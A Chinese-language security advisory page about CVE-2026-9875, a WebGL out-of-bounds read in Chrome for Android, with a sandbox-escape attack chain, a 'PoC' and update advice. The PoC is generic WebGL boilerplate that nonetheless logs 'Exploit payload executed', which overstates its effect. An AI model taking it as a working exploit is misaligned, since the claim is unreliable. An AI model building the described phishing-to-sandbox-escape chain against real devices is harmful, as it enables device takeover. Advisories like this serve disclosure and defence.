IPBUF安全漏洞报告
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CVE-2026-9875 CVSS 9.6 严重

CVE-2026-9875 Android Chrome WebGL越界读取致沙箱逃逸

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9875
漏洞类型
越界读取
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome (Android)

相关标签

越界读取沙箱逃逸Google ChromeAndroidWebGLRCE内存破坏

漏洞概述

CVE-2026-9875是一个影响Android版Google Chrome浏览器的严重安全漏洞。该漏洞源于WebGL组件中的越界读取错误,存在于148.0.7778.216之前的版本中。远程攻击者可诱导用户访问特制的HTML页面触发此缺陷。成功利用后,攻击者可能绕过浏览器的沙箱安全机制,实施沙箱逃逸攻击,进而获取设备控制权,造成严重的数据泄露和系统安全风险。

技术细节

该漏洞源自Google Chrome浏览器WebGL组件在处理图形渲染指令时的内存校验逻辑缺失。WebGL(Web Graphics Library)允许浏览器利用GPU进行3D渲染,攻击者可以通过编写特定的JavaScript代码与WebGL API交互。在受影响的版本中,当WebGL处理特定的缓冲区或纹理数据时,未能正确验证数据长度与内存边界,导致发生越界读取(Out-of-Bounds Read)。虽然单纯的内存读取通常被视为信息泄露漏洞,但在Chrome的安全架构中,攻击者常利用此类漏洞绕过ASLR(地址空间布局随机化)等防御机制。本漏洞的特殊之处在于,攻击者能够利用该越界读取漏洞进一步操纵内存状态,结合其他利用技术在浏览器渲染进程中执行代码,并最终突破沙箱限制。沙箱逃逸意味着攻击代码脱离了浏览器的低权限环境,获得了访问底层操作系统资源的权限,从而可以在受害者的Android设备上安装恶意软件、窃取敏感数据或完全控制系统。

攻击链分析

STEP 1
制作恶意HTML
攻击者分析WebGL漏洞,构造包含特定WebGL指令的恶意HTML页面,旨在触发越界读取。
STEP 2
诱导访问
通过网络钓鱼或其他社会工程学手段,诱导Android用户点击链接并访问恶意页面。
STEP 3
触发漏洞
用户访问页面后,浏览器加载并执行恶意JavaScript代码,触发WebGL组件的越界读取漏洞。
STEP 4
沙箱逃逸
利用读取的内存信息绕过安全防御(如ASLR),结合利用链实现沙箱逃逸,提升权限。
STEP 5
系统控制
攻击者在目标设备上执行任意代码,获取敏感数据或完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept (PoC) for CVE-2026-9875 This HTML page demonstrates how to set up a WebGL context that may trigger the vulnerability. Note: Actual exploitation requires specific memory layout and heap grooming. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9875 WebGL OOB PoC</title> </head> <body> <canvas id="glCanvas" width="640" height="480"></canvas> <script> const canvas = document.getElementById('glCanvas'); // Get WebGL context from the canvas const gl = canvas.getContext('webgl'); if (!gl) { alert('Unable to initialize WebGL. Your browser may not support it.'); } else { console.log('WebGL initialized successfully.'); // Create a buffer to manipulate memory const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Attempt to feed data that triggers the Out-of-Bounds Read // In a real exploit, specific size and data patterns are used const maliciousData = new Float32Array(0x10000); gl.bufferData(gl.ARRAY_BUFFER, maliciousData, gl.STATIC_DRAW); // Trigger the vulnerability via specific WebGL calls // (Specific API calls depend on the root cause analysis) gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(0); // Draw call to execute the shader and potentially trigger the read gl.drawArrays(gl.TRIANGLES, 0, 3); console.log('Exploit payload executed. Check browser crash or memory state.'); } </script> </body> </html>

影响范围

Google Chrome for Android < 148.0.7778.216

防御指南

临时缓解措施
建议用户立即检查并更新Android设备上的Google Chrome浏览器至最新版本。在未修复前,应尽量避免访问不可信的网站或点击来源不明的链接。对于企业环境,可部署移动设备管理(MDM)解决方案,强制执行浏览器更新策略,并考虑禁用高风险的WebGL功能以降低攻击面。

参考链接

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